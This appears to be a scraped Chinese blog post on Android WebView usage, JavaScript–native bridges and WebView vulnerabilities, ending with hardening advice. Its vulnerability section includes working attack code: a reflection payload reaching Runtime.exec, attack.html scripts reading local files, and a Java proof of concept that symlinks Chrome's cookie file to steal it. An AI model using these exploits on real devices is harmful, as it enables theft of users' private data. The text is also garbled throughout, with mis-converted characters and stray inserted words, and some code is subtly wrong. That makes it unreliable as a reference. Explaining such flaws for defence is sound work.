这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析。
转载请注明出处:blog.csdn.net/self_study/…
对技术感兴趣的同鞋加群 544645972 一块儿交流。javascript
如今市面上的 APP 根据类型大体能够分为 3 类:Native APP、Web APP 和 Hybrid APP,而 Hybrid APP 兼具 “Native APP 良好用户交互体验的优点”和 “Web APP 跨平台开发的优点”,如今不少的主流应用也是使用 Hybrid 模式开发的。html
为何要使用 Hybrid 开发呢,这就要提到 native 开发的限制:
1.客户端发板周期长
众所周知,客户端的发板周期在正常状况下比较长,就算是创业公司的迭代也在一到两个星期一次,大公司的迭代周期通常都在月这个数量级别上,并且 Android 还好,iOS 的审核就算变短了也有几天,并且可能会有审核不经过的意外状况出现,所谓为了应对业务的快速发展,不少业务好比一些活动页面就可使用 H5 来进行开发。
2.客户端大小体积受限
若是全部的东西都使用 native 开发,好比上面提到的活动页面,就会形成大量的资源文件要加入到 APK 中,这就形成 APK 大小增长,并且有的活动页面更新很快,形成资源文件可能只会使用一个版本,若是不及时清理,就会形成资源文件的残留。
3.web 页面的体验问题
使用纯 Web 开发,比之前迭代快速不少,可是从某种程度上来讲,仍是不如原生页面的交互体验好;
4.没法跨平台
通常状况下,同同样的页面在 android 和 iOS 上须要写两份不一样的代码,可是如今只须要写一份便可,Hybrid 具备跨平台的优点。
因此综上这两种方式单独处理都不是特别好,考虑到发版周期不定,并且体验交互上也不能不好,因此就把两种方式综合起来,让终端和前端共同开发一个 APP,这样一些迭代很稳定的页面就可使用原生,增长体验性;一些迭代很快速的页面就可使用 H5,让两种优势结合起来,弥补原来单个开发模式的缺点。
前端
H5 和 Native 的体验差距主要在两个方面:
1.页面渲染瓶颈
第一个是前端页面代码渲染,受限于 JS 的解析效率,以及手机硬件设备的一些性能,因此从这个角度来讲,咱们应用开发者是很难从根本上解决这个问题的;
2.资源加载缓慢
第二个方面是 H5 页面是从服务器上下发的,客户端的页面在内存里面,在页面加载时间上面,根据网络情况的不一样,H5 页面的体验和 Native 在不少状况下相比差距仍是不小的,可是这种问题从某种程度上来讲也是能够弥补的,好比说咱们能够作一些资源预加载的方案,在资源预加载方面,其实也有不少种方式,下面主要列举了一些:java
咱们来看看 Google 官网关于 WebView 的介绍:android
A View that displays web pages. This class is the basis upon which you can roll your own web browser or simply display some online content within your Activity. It uses the WebKit rendering engine to display web pages and includes methods to navigate forward and backward through a history, zoom in and out, perform text searches and more.复制代码
能够看到 WebView 是一个显示网页的控件,而且能够简单的显示一些在线的内容,而且基于 WebKit 内核,在 Android4.4(API Level 19) 引入了一个基于 Chromium 的新版本 WebView ,这让咱们的 WebView 能支持 HTML5 和 CSS3 以及 Javascript,有一点须要注意的是因为 WebView 的升级,对于咱们的程序也带来了一些影响,若是咱们的 targetSdkVersion 设置的是 18 或者更低, single and narrow column 和 default zoom levels 再也不支持。Android4.4 以后有一个特别方便的地方是能够经过 setWebContentDebuggingEnabled() 方法让咱们的程序能够进行远程桌面调试。git
WebView 有四个用来加载页面的方法:github
使用 WebView 的时候,通常都会对其进行一些设置,咱们来看看常见的设置:web
WebSettings webSettings = webView.getSettings();
//设置了这个属性后咱们才能在 WebView 里与咱们的 Js 代码进行交互,对于 WebApp 是很是重要的,默认是 false,
//所以咱们须要设置为 true,这个自己会有漏洞,具体的下面我会讲到
webSettings.setJavaScriptEnabled(true);
//设置 JS 是否能够打开 WebView 新窗口
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
//WebView 是否支持多窗口,若是设置为 true,须要重写
//WebChromeClient#onCreateWindow(WebView, boolean, boolean, Message) 函数,默认为 false
webSettings.setSupportMultipleWindows(true);
//这个属性用来设置 WebView 是否可以加载图片资源,须要注意的是,这个方法会控制全部图片,包括那些使用 data URI 协议嵌入
//的图片。使用 setBlockNetworkImage(boolean) 方法来控制仅仅加载使用网络 URI 协议的图片。须要提到的一点是若是这
//个设置从 false 变为 true 以后,全部被内容引用的正在显示的 WebView 图片资源都会自动加载,该标识默认值为 true。
webSettings.setLoadsImagesAutomatically(false);
//标识是否加载网络上的图片(使用 http 或者 https 域名的资源),须要注意的是若是 getLoadsImagesAutomatically()
//不返回 true,这个标识将没有做用。这个标识和上面的标识会互相影响。
webSettings.setBlockNetworkImage(true);
//显示WebView提供的缩放控件
webSettings.setDisplayZoomControls(true);
webSettings.setBuiltInZoomControls(true);
//设置是否启动 WebView API,默认值为 false
webSettings.setDatabaseEnabled(true);
//打开 WebView 的 storage 功能,这样 JS 的 localStorage,sessionStorage 对象才可使用
webSettings.setDomStorageEnabled(true);
//打开 WebView 的 LBS 功能,这样 JS 的 geolocation 对象才可使用
webSettings.setGeolocationEnabled(true);
webSettings.setGeolocationDatabasePath("");
//设置是否打开 WebView 表单数据的保存功能
webSettings.setSaveFormData(true);
//设置 WebView 的默认 userAgent 字符串
webSettings.setUserAgentString("");
//设置是否 WebView 支持 “viewport” 的 HTML meta tag,这个标识是用来屏幕自适应的,当这个标识设置为 false 时,
//页面布局的宽度被一直设置为 CSS 中控制的 WebView 的宽度;若是设置为 true 而且页面含有 viewport meta tag,那么
//被这个 tag 声明的宽度将会被使用,若是页面没有这个 tag 或者没有提供一个宽度,那么一个宽型 viewport 将会被使用。
webSettings.setUseWideViewPort(false);
//设置 WebView 的字体,能够经过这个函数,改变 WebView 的字体,默认字体为 "sans-serif"
webSettings.setStandardFontFamily("");
//设置 WebView 字体的大小,默认大小为 16
webSettings.setDefaultFontSize(20);
//设置 WebView 支持的最小字体大小,默认为 8
webSettings.setMinimumFontSize(12);
//设置页面是否支持缩放
webSettings.setSupportZoom(true);
//设置文本的缩放倍数,默认为 100
webSettings.setTextZoom(2);复制代码
而后还有最经常使用的 WebViewClient 和 WebChromeClient,WebViewClient主要辅助WebView执行处理各类响应请求事件的,好比:chrome
mWebView.clearCache(true);
;清空历史记录
mWebview.clearHistory();
,这个方法要在
onPageFinished()
的方法以后调用。
使用 Hybrid 开发的 APP 基本都须要 Native 和 web 页面的 JS 进行交互,下面介绍一下交互的方式。
json
如何让 web 页面调用 native 的代码呢,有三种方式:
第一种方式:经过 addJavascriptInterface 方法进行添加对象映射
这种是使用最多的方式了,首先第一步咱们须要设置一个属性:
mWebView.getSettings().setJavaScriptEnabled(true);复制代码
这个函数会有一个警告,由于在特定的版本之下会有很是危险的漏洞,咱们下面将会着重介绍到,设置完这个属性以后,Native 须要定义一个类:
public class JSObject {
private Context mContext;
public JSObject(Context context) {
mContext = context;
}
@JavascriptInterface
public String showToast(String text) {
Toast.show(mContext, text, Toast.LENGTH_SHORT).show();
return "success";
}
}
...
//特定版本下会存在漏洞
mWebView.addJavascriptInterface(new JSObject(this), "myObj");复制代码
须要注意的是在 API17 版本以后,须要在被调用的地方加上 @addJavascriptInterface 约束注解,由于不加上注解的方法是没有办法被调用的,JS 代码也很简单:
function showToast(){
var result = myObj.showToast("我是来自web的Toast");
}复制代码
能够看到,这种方式的好处在于使用简单明了,本地和 JS 的约定也很简单,就是对象名称和方法名称约定好便可,缺点就是下面要提到的漏洞问题。
第二种方式:利用 WebViewClient 接口回调方法拦截 url
这种方式其实实现也很简单,使用的频次也很高,上面咱们介绍到了 WebViewClient ,其中有个回调接口 shouldOverrideUrlLoading (WebView view, String url)) ,咱们就是利用这个拦截 url,而后解析这个 url 的协议,若是发现是咱们预先约定好的协议就开始解析参数,执行相应的逻辑,咱们先来看看这个函数的介绍:
Give the host application a chance to take over the control when a new url is about to be loaded in
the current WebView. If WebViewClient is not provided, by default WebView will ask Activity Manager
to choose the proper handler for the url. If WebViewClient is provided, return true means the host
application handles the url, while return false means the current WebView handles the url. This
method is not called for requests using the POST "method".复制代码
注意这个方法在 API24 版本已经废弃了,须要使用 shouldOverrideUrlLoading (WebView view, WebResourceRequest request)) 替代,使用方法很相似,咱们这里就使用 shouldOverrideUrlLoading (WebView view, String url)) 方法来介绍一下:
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//假定传入进来的 url = "js://openActivity?arg1=111&arg2=222",表明须要打开本地页面,而且带入相应的参数
Uri uri = Uri.parse(url);
String scheme = uri.getScheme();
//若是 scheme 为 js,表明为预先约定的 js 协议
if (scheme.equals("js")) {
//若是 authority 为 openActivity,表明 web 须要打开一个本地的页面
if (uri.getAuthority().equals("openActivity")) {
//解析 web 页面带过来的相关参数
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
for (String name : collection) {
params.put(name, uri.getQueryParameter(name));
}
Intent intent = new Intent(getContext(), MainActivity.class);
intent.putExtra("params", params);
getContext().startActivity(intent);
}
//表明应用内部处理完成
return true;
}
return super.shouldOverrideUrlLoading(view, url);
}复制代码
代码很简单,这个方法能够拦截 WebView 中加载 url 的过程,获得对应的 url,咱们就能够经过这个方法,与网页约定好一个协议,若是匹配,执行相应操做,咱们看一下 JS 的代码:
function openActivity(){
document.location = "js://openActivity?arg1=111&arg2=222";
}复制代码
这个代码执行以后,就会触发本地的 shouldOverrideUrlLoading 方法,而后进行参数解析,调用指定方法。这个方式不会存在第一种提到的漏洞问题,可是它也有一个很繁琐的地方是,若是 web 端想要获得方法的返回值,只能经过 WebView 的 loadUrl 方法去执行 JS 方法把返回值传递回去,相关的代码以下:
//java
mWebView.loadUrl("javascript:returnResult(" + result + ")");复制代码
//javascript
function returnResult(result){
alert("result is" + result);
}复制代码
因此说第二种方式在返回值方面仍是很繁琐的,可是在不须要返回值的状况下,好比打开 Native 页面,仍是很合适的,制定好相应的协议,就可以让 web 端具备打开全部本地页面的能力了。
第三种方式:利用 WebChromeClient 回调接口的三个方法拦截消息
这个方法的原理和第二种方式原理同样,都是拦截相关接口,只是拦截的接口不同:
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
return super.onJsAlert(view, url, message, result);
}
@Override
public boolean onJsConfirm(WebView view, String url, String message, JsResult result) {
return super.onJsConfirm(view, url, message, result);
}
@Override
public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
//假定传入进来的 message = "js://openActivity?arg1=111&arg2=222",表明须要打开本地页面,而且带入相应的参数
Uri uri = Uri.parse(message);
String scheme = uri.getScheme();
if (scheme.equals("js")) {
if (uri.getAuthority().equals("openActivity")) {
HashMap<String, String> params = new HashMap<>();
Set<String> collection = uri.getQueryParameterNames();
for (String name : collection) {
params.put(name, uri.getQueryParameter(name));
}
Intent intent = new Intent(getContext(), MainActivity.class);
intent.putExtra("params", params);
getContext().startActivity(intent);
//表明应用内部处理完成
result.confirm("success");
}
return true;
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}复制代码
和 WebViewClient 同样,此次添加的是 WebChromeClient 接口,能够拦截 JS 中的几个提示方法,也就是几种样式的对话框,在 JS 中有三个经常使用的对话框方法:
function clickprompt(){
var result=prompt("js://openActivity?arg1=111&arg2=222");
alert("open activity " + result);
}复制代码
这里须要注意的是 prompt 里面的内容是经过 message 传递过来的,并非第二个参数的 url,返回值是经过 JsPromptResult 对象传递。为何要拦截 onJsPrompt 方法,而不是拦截其余的两个方法,这个从某种意义上来讲都是可行的,可是若是须要返回值给 web 端的话就不行了,由于 onJsAlert 是不能返回值的,而 onJsConfirm 只可以返回肯定或者取消两个值,只有 onJsPrompt 方法是能够返回字符串类型的值,操做最全面方便。
以上三种方案的总结和对比
以上三种方案都是可行的,在这里总结一下
第一种方式
native 调用 js 的方法上面已经介绍到了,方法为:
//java
mWebView.loadUrl("javascript:show(" + result + ")");复制代码
//javascript
<script type="text/javascript">
function show(result){
alert("result"=result);
return "success";
}
</script>复制代码
须要注意的是名字必定要对应上,要否则是调用不成功的,并且还有一点是 JS 的调用必定要在 onPageFinished 函数回调以后才能调用,要否则也是会失败的。
第二种方式
若是如今有需求,咱们要获得一个 Native 调用 Web 的回调怎么办,Google 在 Android4.4 为咱们新增长了一个新方法,这个方法比 loadUrl 方法更加方便简洁,并且比 loadUrl 效率更高,由于 loadUrl 的执行会形成页面刷新一次,这个方法不会,由于这个方法是在 4.4 版本才引入的,因此咱们使用的时候须要添加版本的判断:
final int version = Build.VERSION.SDK_INT;
if (version < 18) {
mWebView.loadUrl(jsStr);
} else {
mWebView.evaluateJavascript(jsStr, new ValueCallback<String>() {
@Override
public void onReceiveValue(String value) {
//此处为 js 返回的结果
}
});
}复制代码
两种方式的对比
通常最常使用的就是第一种方法,可是第一种方法获取返回的值比较麻烦,而第二种方法因为是在 4.4 版本引入的,因此局限性比较大。
WebView 的漏洞也是很多,列举一些常见的漏洞,实时更新,若是有其余的常见漏洞,知会一下我~~
已知的 WebView 任意代码执行漏洞有 4 个,较早被公布是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口会引发远程代码执行漏洞。接着是 CVE-2013-4710,针对某些特定机型会存在 addJavascriptInterface API 引发的远程代码执行漏洞。以后是 CVE-2014-1939 爆出 WebView 中内置导出的 “searchBoxJavaBridge_” Java Object 可能被利用,实现远程任意代码。再后来是 CVE-2014-7224,相似于 CVE-2014-1939 ,WebView 内置导出 “accessibility” 和 “accessibilityTraversal” 两个 Java Object 接口,可被利用实现远程任意代码执行。
通常状况下,WebView 使用 Javascript 脚本的代码以下所示:
WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”);
mWebView.loadUrl(url);复制代码
Android 系统为了方便 APP 中 Java 代码和网页中的 Javascript 脚本交互,在 WebView 控件中实现了 addJavascriptInterface 接口,如上面的代码所示,咱们来看一下这个方法的官方描述:
This method can be used to allow JavaScript to control the host application. This is a powerful feature,
but also presents a security risk for apps targeting JELLY_BEAN or earlier. Apps that target a version
later than JELLY_BEAN are still vulnerable if the app runs on a device running Android earlier than 4.2.
The most secure way to use this method is to target JELLY_BEAN_MR1 and to ensure the method is called
only when running on Android 4.2 or later. With these older versions, JavaScript could use reflection
to access an injected object's public fields. Use of this method in a WebView containing untrusted
content could allow an attacker to manipulate the host application in unintended ways, executing Java
code with the permissions of the host application. Use extreme care when using this method in a WebView
which could contain untrusted content.复制代码
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore
required to maintain thread safety.The Java object's fields are not accessible.复制代码
For applications targeted to API level LOLLIPOP and above, methods of injected Java objects are
enumerable from JavaScript.复制代码
能够看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 以前的版本中,使用这个方法是不安全的,网页中的JS脚本能够利用接口 “testjs” 调用 App 中的 Java 代码,而 Java 对象继承关系会致使不少 Public 的函数及 getClass 函数均可以在JS中被访问,结合 Java 的反射机制,攻击者还能够得到系统类的函数,进而能够进行任意代码执行,首先第一步 WebView 添加 Javascript 对象,而且添加一些权限,好比想要获取 SD 卡上面的信息就须要 android.permission.WRITE_EXTERNAL_STORAGE
;第二步 JS 中能够遍历 window 对象,找到存在 getClass 方法的对象,再经过反射的机制,获得 Runtime 对象,而后就能够调用静态方法来执行一些命令,好比访问文件的命令;第三步就是从执行命令后返回的输入流中获得字符串,好比执行完访问文件的命令以后,就能够获得文件名的信息了,有很严重暴露隐私的危险,核心 JS 代码:
function execute(cmdArgs) {
for (var obj in window) {
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime")
.getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}复制代码
因此当一些 APP 经过扫描二维码打开一个外部网页的时候,就能够执行这段 js 代码,漏洞在 2013 年 8 月被披露后,不少 APP 都中招,其中浏览器 APP 成为重灾区,但截至目前仍有不少 APP 中依然存在此漏洞,与以往不一样的只是攻击入口发生了必定的变化。另一些小厂商的 APP 开发团队由于缺少安全意识,依然还在APP中为所欲为的使用 addJavascriptInterface 接口,明目张胆踩雷。
出于安全考虑,Google 在 API17 版本中就规定可以被调用的函数必须以 @JavascriptInterface 进行注解,理论上若是 APP 依赖的 API 为 17(Android 4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17 依然受影响,因此危害性到目前为止依旧不小。关于全部 Android 机型的占比,能够看看 Google 的 Dashboards:
javascript:(function JsAddJavascriptInterface_(){
if(typeof(window.XXX_js_interface_name)!='undefined'){
console.log('window.XXX_js_interface_name is exist!!');
}else{
window.XXX_js_interface_name={
XXX:function(arg0,arg1){
return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
},
};
}
})()复制代码
这段 JS 代码定义了注入的格式,其中的 XXX 为注入对象的方法名字,终端和 web 端只要按照定义的格式去互相调用便可,若是这个对象有多个方法,则会注册多个 window.XXX_js_interface_name 块;
在 2014 年发如今 Android4.4 如下的系统中,webkit 中默认内置了 “searchBoxJavaBridge”,代码位于 “java/android/webkit/BrowserFrame.java”,该接口一样存在远程代码执行的威胁,因此就算没有经过 addJavascriptInterface 加入任何的对象,系统也会加入一个 searchBoxJavaBridge 对象,解决办法就是经过 removeJavascriptInterface 方法将对象删除。
在 2014 年,研究人员 Daoyuan Wu 和 Rocky Chang 发现,当系统辅助功能服务被开启时,在 Android4.4 如下的系统中,由系统提供的 WebView 组件都默认导出 ”accessibility” 和 ”accessibilityTraversal” 这两个接口,代码位于 “android/webkit/AccessibilityInjector.java”,这两个接口一样存在远程任意代码执行的威胁,一样的须要经过 removeJavascriptInterface 方法将这两个对象删除。
WebView 默认开启密码保存功能 mWebView.setSavePassword(true),若是该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,若是选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险,因此须要经过 WebSettings.setSavePassword(false) 关闭密码保存提醒功能。
要了解 WebView 中 file 协议的安全性,咱们这里用一个简单的例子来演示一下,这个 APP 中有一个页面叫作 WebViewActivity :
public class WebViewActivity extends Activity {
private WebView webView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
webView = (WebView) findViewById(R.id.webView);
//webView.getSettings().setJavaScriptEnabled(true); (0)
//webView.getSettings().setAllowFileAccess(false); (1)
//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)
Intent i = getIntent();
String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html
webView.loadUrl(url);
}
}复制代码
将该 WebViewActivity 设置为 exported="true",当其余应用启动此 Activity 时, intent 中的 data 直接被看成 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),经过其余 APP 使用显式 ComponentName 或者其余相似方式就能够很轻松的启动该 WebViewActivity ,咱们知道由于 Android 中的 sandbox,Android 中的各应用是相互隔离的,在通常状况下 A 应用是不能访问 B 应用的文件的,但不正确的使用 WebView 可能会打破这种隔离,从而带来应用数据泄露的威胁,即 A 应用能够经过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而能够获取 B 应用的内部私有文件,下面咱们着重分析这几个 API 对 WebView 安全性的影响。
Enables or disables file access within WebView. File access is enabled by default. Note that this
enables or disables file system access only. Assets and resources are still accessible using
file:///android_asset and file:///android_res.复制代码
经过这个 API 能够设置是否容许 WebView 使用 File 协议,Android 中默认 setAllowFileAccess(true),因此默认值是容许,在 File 域下,可以执行任意的 JavaScript 代码,同源策略跨域访问则可以对私有目录文件进行访问,APP 嵌入的 WebView 未对 file:/// 形式的 URL 作限制,因此使用 file 域加载的 js 可以使用同源策略跨域访问致使隐私信息泄露,针对 IM 类软件会致使聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是 cookie 信息泄露。若是不容许使用 file 协议,则不会存在下面将要讲到的各类跨源的安全威胁,但同时也限制了 WebView 的功能,使其不能加载本地的 html 文件。禁用 file 协议后,让 WebViewActivity 打开 attack.html 会获得以下图所示的输出,图中所示的文件是存在的,但 WebView 禁止加载此文件,移动版的 Chrome 默认禁止加载 file 协议的文件。
Sets whether JavaScript running in the context of a file scheme URL should be allowed to access
content from other file scheme URLs. To enable the most restrictive, and therefore secure policy,
this setting should be disabled. Note that the value of this setting is ignored if the value of
getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript
access to file scheme resources. Other access to such resources, for example, from image HTML
elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH
and earlier devices, you should explicitly set this value to false.
The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level
JELLY_BEAN and above.复制代码
经过此API能够设置是否容许经过 file url 加载的 Javascript 读取其余的本地文件,这个设置在 JELLY_BEAN(android 4.1) 之前的版本默认是容许,在 JELLY_BEAN 及之后的版本中默认是禁止的。当 AllowFileAccessFromFileURLs 设置为 true 时,对应上面的 attack.html 代码为:
<script>
function loadXMLDoc() {
var arm = "file:///etc/hosts";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function() {
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>复制代码
,此时经过这段代码就能够成功读取 /etc/hosts 的内容,最显著的例子就是 360 手机浏览器的早期 4.8 版本,因为未对 file 域作安全限制,恶意 APP 调用 360 浏览器加载本地的攻击页面(好比恶意 APP 释放到 sd 卡上的一个 html)后,就能够获取 360 手机浏览器下的全部私有数据,包括 webviewCookiesChromium.db 下的 Cookie 内容,可是若是设置为 false 时,上述脚本执行会致使以下错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件:
I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin
requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html复制代码
经过此 API 能够设置是否容许经过 file url 加载的 Javascript 能够访问其余的源,包括其余的文件和 http,https 等其余的源。这个设置在 JELLY_BEAN 之前的版本默认是容许,在 JELLY_BEAN 及之后的版本中默认是禁止的。若是此设置是容许,则 setAllowFileAccessFromFileURLs 不起作用,此时修改 attack.html 的代码:
<script>
function loadXMLDoc() {
var arm = "http://www.so.com";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function() {
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>复制代码
当 AllowFileAccessFromFileURLs 为 true 时,上述 javascript 能够成功读取 www.so.com 的内容,但设置为 false 时,上述脚本执行会致使以下错误,表示浏览器禁止从 file url 中的 javascript 访问其余源的资源:
I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
load http://www.so.com/. Origin null is not allowed by
Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html复制代码
经过以上的介绍,初步的方案是使用下面的代码来杜绝:
setAllowFileAccess(true); //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);复制代码
这样就可让 html 页面加载本地的 javascript,同时杜绝加载的 js 访问本地的文件或者读取其余的源,不是就 OK 了么,并且在 JELLY_BEAN(android 4.1) 版本以及以后不是都默认为 false 了么,其实否则,咱们继续往下看其余漏洞。
为了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都应该设置为禁止,在 JELLY_BEAN(android 4.1) 及之后的版本中这两项设置默认也是禁止的,可是即便把这两项都设置为 false,经过 file URL 加载的 javascript 仍然有方法访问其余的本地文件,经过符号连接攻击能够达到这一目的,前提是容许 file URL 执行 javascript。这一攻击能奏效的缘由是不管怎么限制 file 协议的同源检查,其 javascript 都应该能访问当前的文件,经过 javascript 的延时执行和将当前文件替换成指向其它文件的软连接就能够读取到被符号连接所指的文件,具体攻击步骤见 Chromium bug 144866,下面也贴出了代码和详解。由于 Chrome 最新版本默认禁用 file 协议,因此这一漏洞在最新版的 Chrome 中并不存在,Google 也并无修复它,可是大量使用 WebView 的应用和浏览器,都有可能受到此漏洞的影响,经过利用此漏洞,无特殊权限的恶意 APP 能够盗取浏览器的任意私有文件,包括但不限于 Cookie、保存的密码、收藏夹和历史记录,并能够将所盗取的文件上传到攻击者的服务器。下图为经过 file URL 读取某手机浏览器 Cookie 的截图:
public class MainActivity extends AppCompatActivity {
public final static String MY_PKG = "com.example.safewebview";
public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
public final static String TARGET_PKG = "com.android.chrome";
public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;" +
"function doitjs() {" +
" var xhr = new XMLHttpRequest;" +
" xhr.onload = function() {" +
" var txt = xhr.responseText;" +
" d.body.appendChild(d.createTextNode(txt));" +
" alert(txt);" +
" };" +
" xhr.open('GET', d.URL);" +
" xhr.send(null);" +
"}" +
"setTimeout(doitjs, 8000);" +
"</script>" +
"</body>";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
doit();
}
public void doit() {
try {
// Create a malicious HTML
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
// Force Chrome to load the malicious HTML
invokeChrome("file://" + HTML_PATH);
Thread.sleep(4000);
// Replace the HTML with a symlink to Chrome's Cookie file
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
} catch (Exception e) {
}
}
public void invokeChrome(String url) {
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
startActivity(intent);
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
}
}
}复制代码
这就是使用符号连接跨源获取私有文件的代码,应该不难读懂,首先把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,而且修改该目录的权限,修改完成以后休眠 1s,让文件操做完成,完成以后经过系统的 Chrome 应用去打开这个 xx.html 文件,而后等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,而且使用 ln -s 命令为 Chrome 的 Cookie 文件建立软链接,注意,在这条命令执行以前 xx.html 是不存在的,执行完这条命令以后,就生成了这个文件,而且将 Cookie 文件连接到了 xx.html 上,因而就能够经过连接来访问 Chrome 的 Cookie 了。
经过此 API 能够设置是否容许 WebView 使用 JavaScript,默认是不容许,但不少应用,包括移动浏览器为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置容许 WebView 执行 JavaScript,而又不会对不一样的协议区别对待,比较安全的实现是若是加载的 url 是 http 或 https 协议,则启用 JavaScript,若是是其它危险协议,好比是 file 协议,则禁用 JavaScript。若是是 file 协议,禁用 javascript 能够很大程度上减少跨源漏洞对 WebView 的威胁,可是此时禁用 JavaScript 的执行并不能彻底杜绝跨源文件泄露。例如,有的应用实现了下载功能,对于加载不了的页面,会自动下载到 sd 卡中,因为 sd 卡中的文件全部应用均可以访问,因而能够经过构造一个 file URL 指向被攻击应用的私有文件,而后用此 URL 启动被攻击应用的 WebActivity,这样因为该 WebActivity 没法加载该文件,就会将该文件下载到 sd 卡下面,而后就能够从 sd 卡上读取这个文件了,固然这种应用比较少,这个也算是应用自身无心产生的一个漏洞吧。
针对 WebView 域控制不严格漏洞的安全建议以下:
setAllowFileAccess(false); //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);复制代码
第二种是根据不一样状况不一样处理(没法避免应用对于没法加载的页面下载到 sd 卡上这个漏洞):
setAllowFileAccess(true); //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}复制代码
这里记录一下开发中遇到的一些坑和解决办法:
咱们能够经过使用 WebView.loadData(String data, String mimeType, String encoding)) 方法来加载一整个 HTML 页面的一小段内容,第一个就是咱们须要 WebView 展现的内容,第二个是咱们告诉 WebView 咱们展现内容的类型,通常,第三个是字节码,可是使用的时候,这里会有一些坑,咱们来看一个简单的例子:
String html = new String("<h3>我是loadData() 的标题</h3><p>  我是他的内容</p>");
webView.loadData(html, "text/html", "UTF-8");复制代码
这里的逻辑很简单,加载一个简单的富文本标签,咱们看看运行后的效果:
String html = new String("<h3>我是loadData() 的标题</h3><p>  我是他的内容</p>");
webView.loadData(html, "text/html;charset=UTF-8", "null");复制代码
咱们再来看看显示效果:
A) % 会报找不到页面错误,页面全是乱码。
B) # 会让你的 goBack 失效,但 canGoBAck 是可使用的,因而就会产生返回按钮生效,但不能返回的状况。
C) \ 和 ? 在转换时,会报错,由于它会把 \ 看成转义符来使用,若是用两级转义,也不生效。复制代码
咱们在使用 loadData() 时,就意味着须要把全部的非法字符所有转换掉,这样就会给运行速度带来很大的影响,由于在使用时,不少状况下页面 stytle 中会使用不少 '%' 号,页面的数据越多,运行的速度就会越慢。
当 WebView 嵌套在 ScrollView 里面的时候,若是 WebView 先加载了一个高度很高的网页,而后加载了一个高度很低的网页,就会形成 WebView 的高度没法自适应,底部出现大量空白的状况出现,具体的能够看看我之前的博客:android ScollView 嵌套 WebView 底部空白,高度没法自适应解决。
